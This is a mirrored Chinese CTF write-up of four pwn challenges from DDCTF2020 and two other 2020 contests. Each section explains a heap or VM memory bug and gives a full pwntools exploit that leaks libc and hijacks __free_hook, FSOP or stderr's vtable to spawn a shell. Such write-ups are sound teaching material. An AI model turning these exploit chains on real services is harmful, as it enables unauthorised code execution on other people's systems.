3

ddctf2020

 3 years ago
source link: https://ama2in9.top/2020/09/06/ddctf2020/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

DDCTF2020 && 柏鹭杯2020 && 北京市网络安全宣传周技能赛 PWN wp

这几个比赛连着打的,PWN题也比较少,写到一个里了,后两场比赛队友带飞拿了第一。

DDCTF

we love free

程序模拟了vector的逻辑,这种分配是按照0x20 0x30 0x50 … n*0x20-0x10的顺序分配的。在vector的存储位置里有几个指针变量,其中start是分配的一个大堆块的起始位置,在存储的空间够用时都会使用这样一个大堆块。后面有个curretnt_ptr,指向输入,如果调用Add,则cureent每次加8,直到等于end指针,再开辟新的堆空间。

在edit的时候先malloc一个新堆块,free旧堆块,再edit旧堆块,编辑的长度是新堆块的大小,因此会造成UAF和溢出。

这里作者默认认为旧堆块和新堆块是连续的,因而即使溢出也不过只能溢出到下一个堆块一半以内的部分,这一点也很好理解,因为正常来说释放后如果ub和top_chunk相连,malloc_consolidate会使得整个堆块合并回去,之后的Add情形和之前相同,即使没有ub,因为fastbin的关系,也会按之前堆排布的方式进行分配,然而如果利用堆溢出改掉下一个ub(0x110)的sz,比如说0x51,再次释放就不会触发malloc_consolidate,且因为0x50进了fastbin,第二次的Add就会优先分配到这个块,那么0x30在原始位置,0x50到了一个靠后的位置,中间构造出unsorted bin,在edit的时候就可以编辑此ub的sz和bk,进而FSOP了。

注意最后编辑sz/bk的时候长度有限,因此在之前的输入里布置一下fake_vtable和system_addr,释放后仍有残留数据,构造出满足的条件,最后Add触发FSOP。

exp.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
#coding:utf-8

#coding=utf-8
from pwn import *

r = lambda p:p.recv()
rl = lambda p:p.recvline()
ru = lambda p,x:p.recvuntil(x)
rn = lambda p,x:p.recvn(x)
rud = lambda p,x:p.recvuntil(x,drop=True)
s = lambda p,x:p.send(x)
sl = lambda p,x:p.sendline(x)
sla = lambda p,x,y:p.sendlineafter(x,y)
sa = lambda p,x,y:p.sendafter(x,y)

context.update(arch='amd64',os='linux',log_level='debug')
context.terminal = ['tmux','split','-h']
debug = 1
elf = ELF('./pwn1')
libc_offset = 0x3c4b20
gadgets = [0x45216,0x4526a,0xf02a4,0xf1147]
if debug:
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
p = process('./pwn1')
else:
libc = ELF('./libc-2.23.so')
p = remote('f.buuoj.cn',20173)

def Add(num=0x21):
p.recvuntil('>>')
p.sendline('1')
p.recvuntil("Input your num:")
p.sendline(str(num))

def Show(is_edit='n'):
p.recvuntil('>>')
p.sendline('2')
p.recvuntil("Edit (y/n):")
p.sendline(is_edit)

def EditOnce(payload,is_edit='y'):
p.recvuntil("Edit (y/n):")
p.sendline(is_edit)
if is_edit == 'y':
p.sendline(payload)

def Delete():
p.recvuntil('>>')
p.sendline('3')


for i in range(2):
Add()
#leak heap with initial heap
p.sendline('2')
p.recvuntil('1:')
heapbase = int(p.recvuntil('\n',drop=True),10)-(0x617c10-0x606000)
log.success('heapbase => '+hex(heapbase))
for i in range(6):
EditOnce('a','n')
#leak libc
for i in range(10):
Add()
Delete()
Add()
Show()
p.recvuntil("2:")
libc_base = int(p.recvline().strip('\n')) - libc.sym['__malloc_hook'] - 0x10 - 88
log.success("libc base => " + hex(libc_base))
libc.address = libc_base
for i in range(4):
EditOnce('a','n')

#make heap layout
fake_vtable = heapbase+(0x617dc0-0x606000)
for i in range(14):
Add()

p.recvuntil('>>')
p.sendline('2')
for i in range(16):
EditOnce(str(fake_vtable),'n')
EditOnce(str(0x90),'y')
EditOnce(str(0x50),'y')
for i in range(7):
EditOnce(str(0x21),'y')
EditOnce(str(fake_vtable),'y')
EditOnce(str(0x21),'y')
EditOnce(str(0x31),'y')
EditOnce(str(0),'y')
EditOnce(str(0),'y')
EditOnce(str(libc.sym['system']),'y')
EditOnce(str(libc.sym['system']),'y')
for i in range(2):
EditOnce(str(0x91),'y')


Delete()

for i in range(4):
Add()

p.recvuntil('>>')
p.sendline('2')
for i in range(14):
EditOnce(str(0x1234),'n')
EditOnce(str(0x0068732f6e69622f))
EditOnce(str(0x61))
EditOnce(str(0))
EditOnce(str(libc.sym['_IO_list_all']-0x10))
EditOnce(str(2))
EditOnce(str(3))
for i in range(0xa8/8-3):
EditOnce(str(0))

for i in range(2):
Add(str(0))
Add(str(fake_vtable))

gdb.attach(p,'b malloc')
Add(str(0x50))


p.interactive()

柏鹭杯2020

程序开始先用随机数做了种子,因而之后的随机数无法预测。可以add两种类型的堆块,在free里释放了*node_addr存储的chunk2,并用循环移位赋值的方式将原堆块的值覆写成后一个堆块的值。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
void **new1()
{
void **result; // rax
void *chunk_addr; // ST08_8
unsigned int idx; // eax
__int64 v3; // rcx

result = (void **)(unsigned int)type1_total_count;
if ( (unsigned int)type1_total_count <= 0x1F )
{
printf("index: %u\n", (unsigned int)type1_total_count);
chunk_addr = malloc(0x20uLL);
printf("message: ");
get_input(0, chunk_addr, 0x20uLL);
idx = type1_total_count++;
v3 = idx;
result = type1_list;
type1_list[v3] = chunk_addr;
}
return result;
}
//
int edit1()
{
void *v0; // rax
int v2; // [rsp+Ch] [rbp-4h]

printf("index: ");
LODWORD(v0) = read_choice();
v2 = (signed int)v0;
if ( (unsigned int)v0 <= 0x1F )
{
v0 = type1_list[(unsigned int)v0];
if ( v0 )
{
printf("message: ");
get_input(0, type1_list[v2], 0x20uLL);
LODWORD(v0) = printf("new message: %s", type1_list[v2]);
}
}
return (signed int)v0;
}
//void ***new2()
{
void ***result; // rax
void **node_addr; // ST00_8
void *chunk_addr; // rax
void *chunk_addr1; // ST08_8
unsigned int v4; // eax
__int64 idx; // rcx

result = (void ***)(unsigned int)type2_total_count;
if ( (unsigned int)type2_total_count <= 0x1F )
{
printf("index: %u\n", (unsigned int)type2_total_count);
node_addr = (void **)malloc(0x20uLL);
chunk_addr = malloc(0x20uLL);
chunk_addr1 = chunk_addr;
*node_addr = chunk_addr;
printf("message1: ");
get_input(0, chunk_addr1, 0x20uLL);
printf("message2: ", chunk_addr1);
get_input(0, node_addr + 1, 0x18uLL);
v4 = type2_total_count++;
idx = v4;
result = type2_list;
type2_list[idx] = node_addr;
}
return result;
}
//
int edit2()
{
void **v0; // rax
int v2; // [rsp+Ch] [rbp-4h]

printf("index: ");
LODWORD(v0) = read_choice();
v2 = (signed int)v0;
if ( (unsigned int)v0 <= 0x1F )
{
v0 = type2_list[(unsigned int)v0];
if ( v0 )
{
printf("message1: ");
get_input(0, *type2_list[v2], 0x20uLL);
printf("message2: ");
LODWORD(v0) = get_input(0, type2_list[v2] + 1, 0x18uLL);
}
}
return (signed int)v0;
}
//
__int64 Free()
{
unsigned int idx1; // ST08_4
unsigned int idx2; // ST0C_4
void *chunk_addr; // ST10_8
void **node_addr; // ST18_8
unsigned int i; // [rsp+4h] [rbp-1Ch]

idx1 = rand() % (unsigned int)type1_total_count;
idx2 = rand() % (unsigned int)type2_total_count;
printf("note1: %u\n", idx1);
printf("note2: %u\n", idx2);
chunk_addr = type1_list[idx1];
node_addr = type2_list[idx2];
free(*node_addr);
*node_addr = chunk_addr;
for ( i = idx1; i < type1_total_count; ++i )
type1_list[i] = type1_list[i + 1];
return (unsigned int)(type1_total_count-- - 1);
}

因为type1_list和type2_list紧挨着,当分配0x20个块时调用Delete,函数的移位赋值使得type1_list上出现了type2_list[0]。我们通过edit1函数部分修改type2_chunk,从而leak出Heap,再利用type1+type2的任意地址写将type2_chunk的sz改大,释放后放入unsorted bin(注意此前修改tcache_perthread_struct的对应的count大于7),再和之前一样部分写低字节leak出libc地址。最后用这个任意地址写将__free_hook改为system,再释放一个包含/bin/sh的块即可。

exp.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
#coding=utf-8
from pwn import *

r = lambda p:p.recv()
rl = lambda p:p.recvline()
ru = lambda p,x:p.recvuntil(x)
rn = lambda p,x:p.recvn(x)
rud = lambda p,x:p.recvuntil(x,drop=True)
s = lambda p,x:p.send(x)
sl = lambda p,x:p.sendline(x)
sla = lambda p,x,y:p.sendlineafter(x,y)
sa = lambda p,x,y:p.sendafter(x,y)

context.update(arch='amd64',os='linux',log_level='DEBUG')
context.terminal = ['tmux','split','-h']
debug = 0
elf = ELF('./note')
libc_offset = 0x3c4b20
gadgets = [0x45216,0x4526a,0xf02a4,0xf1147]
if debug:
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
p = process('./note')
else:
libc = ELF('./libc.so')
p = remote('124.70.131.128',12031)

def Add1(msg='a'):
p.recvuntil('>>')
p.sendline('1')
p.recvuntil("message: ")
p.send(msg)

def Add2(msg1='a',msg2='b'):
p.recvuntil('>>')
p.sendline('2')
p.recvuntil("message1: ")
p.send(msg1)
p.recvuntil("message2: ")
p.send(msg2)

def Edit1(index,msg):
p.recvuntil('>>')
p.sendline('3')
p.recvuntil("index: ")
p.sendline(str(index))
p.recvuntil("message: ")
p.send(msg)

def Edit2(index,msg1,msg2):
p.recvuntil('>>')
p.sendline('4')
p.recvuntil("index: ")
p.sendline(str(index))
p.recvuntil("message1: ")
p.send(msg1)
p.recvuntil("message2: ")
p.send(msg2)

def Delete():
p.recvuntil('>>')
p.sendline('5')


def exp():
#leak libc
Add2()
for i in range(0x20):
Add1(p64(0x431)*4)
for i in range(0x20):
Delete()
#Add1()
#0x7310
Edit1(0,'\x10')
#Delete()
p.recvuntil("new message: ")
heap_base = u64(p.recvuntil("1.new",drop=True).ljust(8,'\x00')) & 0xfffffffffffff000
log.success("heap base => " + hex(heap_base))
#UAF to tcache perthread
Add1()
Edit1(1,p64(heap_base+0x258))
Edit2(0,p64(0x451),'a')
Edit1(1,p64(heap_base+0x260))
Delete()
Edit1(1,'a'*8)
p.recvuntil("new message: aaaaaaaa")
libc_base = u64(p.recvuntil("1.new",drop=True).ljust(8,'\x00')) - libc.sym['__malloc_hook'] - 0x10 - 96
log.success("libc base => " + hex(libc_base))
#get shell
Add1()
Edit1(1,p64(heap_base+0x258))
Edit2(0,p64(0x31),'a')
Edit1(1,p64(heap_base+0x260))

Delete()

Edit1(1,p64(libc_base+libc.sym['__free_hook']-8))
Add1()
Add1("/bin/sh\x00"+p64(libc_base+libc.sym['system']))
Edit1(3,p64(libc_base+libc.sym['__free_hook']-8))
Delete()
p.interactive()

exp()

MineSweeper

在Game里有四个选项,A继续,B删除,C插旗子,D挖雷。其中B存在double free。首先通过B的UAF分配到存储name的sz部分,改成0xa1之后释放(注意因为这里被置为了非0所以直接win了,在此之前要绕过一个0x202010处的check),之后分配大堆块触发malloc_consolidate,使得name以及下面的堆块进行合并,从而可以写包含有存储地雷的堆块的堆块,从而可以覆写其地址,leak出任意堆块的内容,这里首先leak出heap倒数第二字节的内容,从而可以改写其到unsorted bin的地址leak出libc,最后由于可以改写name_addr又可以改写name,所以地址任意写改__free_hook到system,释放包含/bin/sh的块即可get shell。

exp.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
#coding=utf-8
from pwn import *

r = lambda p:p.recv()
rl = lambda p:p.recvline()
ru = lambda p,x:p.recvuntil(x)
rn = lambda p,x:p.recvn(x)
rud = lambda p,x:p.recvuntil(x,drop=True)
s = lambda p,x:p.send(x)
sl = lambda p,x:p.sendline(x)
sla = lambda p,x,y:p.sendlineafter(x,y)
sa = lambda p,x,y:p.sendafter(x,y)

context.update(arch='amd64',os='linux',log_level='info')
context.terminal = ['tmux','split','-h']
debug = 0
elf = ELF('./MineSweeper')
libc_offset = 0x3c4b20
gadgets = [0x45216,0x4526a,0xf02a4,0xf1147]
if debug:
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
p = process('./MineSweeper')

else:
libc = ELF('./libc.so')
p = remote("124.70.131.128",12032)

def Game():
p.recvuntil('$ ')
p.sendline('1')
for i in range(3):
p.recvuntil("----------------------\n")

def Report(sz,content='a'):
p.recvuntil('$ ')
p.sendline('2')
p.recvuntil("BugReport: ")
p.sendline(str(sz))
sleep(0.02)
p.sendline(content)


def exp():
#leak libc
Game()
p.sendline('B')
Report(0x38,'a'*0x28+'\xe8')#win flag != 0
Game()

p.sendline("C0")#in case 0x202010
p.sendline("D001")
p.recvuntil("New Record! Your name: ")
p.sendline(p64(0xa1))
p.sendline("A")#again
#malloc consolidate
Report(0x500)
#leak heap
Report(0xe0,'a'*0xa0+'\x51')
p.recvuntil('$ ')
p.sendline('1')
p.recvn(0x43)
heap_low = u8(p.recvn(1)) & 0xf0
target = (heap_low << 8) + 0xa0
print hex(target)
p.sendline("A")
#p.recvuntil("")
#leak libc
libc_addr = ""

for i in range(6):
Report(0xe0,'a'*0xa0+p16(target+i))
p.recvuntil('$ ')
p.sendline('1')
p.recvn(0x43)
libc_addr += p.recvn(1)
p.sendline("A")

libc_base = u64(libc_addr.ljust(8,'\x00')) - libc.sym['__malloc_hook'] - 88 - 0x10
log.success("libc base => " + hex(libc_base))
libc.address = libc_base
#get shell

Report(0x38,'a'*0x28+p64(libc.sym['__free_hook']))
Game()
p.sendline("C0")
sleep(0.02)
p.sendline("D110")

p.recvuntil("New Record! Your name: ")
p.sendline(p64(libc.sym['system']))
p.sendline("A")#again
#gdb.attach(p,'b* 0x0000555555554000+0xbd5')
Report(0x30,"/bin/sh\x00")
p.interactive()

exp()

北京市网络安全宣传周技能赛

vmpwn

模拟了一个小vm,通过指针递减+write泄露出libc。通过指针增加到stderr伪造_IO_2_1_stderr_,修改其vtable里+0x10处的指针,fclose时触发调用。这里有两个地方需要注意,一是参数位于_flags,但是后面会对其前4字节进行异或处理,这里用;sh\x00做注入;二是抄完stderr的值后发现有错误,跟着源码调一下到某个位置发现指定的值需要是0x20,因而下面有个值是0x0000002000000002,后四字节对应fd,前四字节为绕过此检查。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
signed int i; // [rsp+Ch] [rbp-54h]

puts("It's an easy vm pwn.");
sub_400796();
for ( i = 0; i <= 1; ++i )
{
puts("input the code:");
get_input((__int64)&bss_code, 0x400);
Run();
}
fclose(stderr);
return 0LL;
}
//
void__int64 Run(){
__int64 result; // rax
_BYTE *i; // [rsp+0h] [rbp-90h]

for ( i = &bss_code; ; ++i )
{
result = (unsigned __int8)*i;
if ( !(_BYTE)result )
break;
switch ( *i )
{
case 0x11:
buf = (char *)buf + 1;
break;
case 0x12:
buf = (char *)buf - 1;
break;
case 0x13:
buf = (void *)(2LL * (_QWORD)buf);
break;
case 0x14:
buf = (void *)((signed __int64)buf / 2);
break;
case 0x15:
write(1, buf, 1uLL);
break;
case 0x16:
read(0, buf, 1uLL);
break;
case 0x17:
*(_BYTE *)buf = 0;
break;
case 0x18:
*(_BYTE *)buf = 1;
break;
case 0x19:
*(_BYTE *)buf = 2;
break;
case 0x1A:
*(_BYTE *)buf = 3;
break;
case 0x1B:
*(_BYTE *)buf = 4;
break;
case 0x1C:
*(_BYTE *)buf = 5;
break;
case 0x1D:
*(_BYTE *)buf = 6;
break;
case 0x1E:
*(_BYTE *)buf = 7;
break;
case 0x1F:
*(_BYTE *)buf = 8;
break;
case 0x20:
*(_BYTE *)buf = 9;
break;
case 0x21:
*(_BYTE *)buf = 0xA;
break;
case 0x22:
*(_BYTE *)buf = 0xB;
break;
case 0x23:
*(_BYTE *)buf = 0xC;
break;
case 0x24:
*(_BYTE *)buf = 0xD;
break;
case 0x25:
*(_BYTE *)buf = 0xE;
break;
case 0x26:
*(_BYTE *)buf = 0xF;
break;
}
}
return result;
}

exp.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
#coding=utf-8
from pwn import *

r = lambda p:p.recv()
rl = lambda p:p.recvline()
ru = lambda p,x:p.recvuntil(x)
rn = lambda p,x:p.recvn(x)
rud = lambda p,x:p.recvuntil(x,drop=True)
s = lambda p,x:p.send(x)
sl = lambda p,x:p.sendline(x)
sla = lambda p,x,y:p.sendlineafter(x,y)
sa = lambda p,x,y:p.sendafter(x,y)

context.update(arch='amd64',os='linux',log_level='DEBUG')
context.terminal = ['tmux','split','-h']
debug = 1
elf = ELF('./pwn')
libc_offset = 0x3c4b20
gadgets = [0x45216,0x4526a,0xf02a4,0xf1147]
if debug:
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
p = process('./pwn')
else:
libc = ELF('./x64_libc.so.6')
p = remote('f.buuoj.cn',20173)

def exp():
#leak libc
p.recvuntil("input the code:\n")
puts_got = elf.got['puts']
buf_addr = 0x6020c0
payload = '\x12'*(buf_addr-puts_got)
payload += '\x15\x11'*8
p.sendline(payload)
libc_base = u64(p.recvn(8)) - libc.sym['puts']
log.success("libc base => " + hex(libc_base))
staic_libc = 0x7ffff7a0d000
gdb.attach(p,'b* 0x400c7a')
#get shell
fake_io = flat([
libc_base+(0x00007ffff7dd25c3-staic_libc),
libc_base+(0x00007ffff7dd25c3-staic_libc),libc_base+(0x00007ffff7dd25c3-staic_libc),
libc_base+(0x00007ffff7dd25c3-staic_libc),libc_base+(0x00007ffff7dd25c3-staic_libc),
libc_base+(0x00007ffff7dd25c3-staic_libc),libc_base+(0x00007ffff7dd25c3-staic_libc),
libc_base+(0x00007ffff7dd25c4-staic_libc),0,
0,0,
0,libc_base+(0x00007ffff7dd2620-staic_libc),
0x0000002000000002,0xffffffffffffffff,
0,libc_base+(0x00007ffff7dd3770-staic_libc),
0xffffffffffffffff,0,
libc_base+(0x00007ffff7dd1660-staic_libc),0,
0,libc_base+libc.sym['system'],
0,0,
0,0x6020f0
])
stderr = 0x602040
payload = (stderr-puts_got-8)*'\x11'
payload += '\x16\x11'*(len(fake_io)+0x10)
p.recvuntil("input the code:\n")
p.sendline(payload)
raw_input()
p.send(p64(stderr+8)+"/bin;sh\x00"+fake_io)
p.interactive()

exp()

About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK